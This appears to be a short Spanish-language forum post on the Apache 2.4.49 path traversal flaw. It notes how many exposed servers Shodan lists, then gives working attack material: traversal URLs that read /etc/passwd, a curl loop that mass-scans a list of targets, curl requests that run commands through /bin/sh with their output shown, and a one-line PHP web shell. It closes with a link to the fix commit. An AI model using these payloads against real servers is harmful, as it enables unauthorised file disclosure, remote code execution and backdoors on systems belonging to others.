La vulnerabilidad sólo funciona con Apache HTTP 2.4.49
Y según Shodan: hay 112,755 Apache Server 2.4.49
Citar
127.0.0.1/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
Citar
cat targets.txt | while read host do ; do curl --silent --path-as-is --insecure "$host/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" | grep "root:*" && echo "$host \033[0;31mVulnerable\n" || echo "$host \033[0;32mNot Vulnerable\n";done
Citar
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
Código:
<?php echo system($_GET['c']); ?>
Local file disclosure
Citar
$ curl -s --path-as-is "http://localhost:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
Remote Code Execution
Citar
$ curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' "http://localhost:8080/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh"
Bug
https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782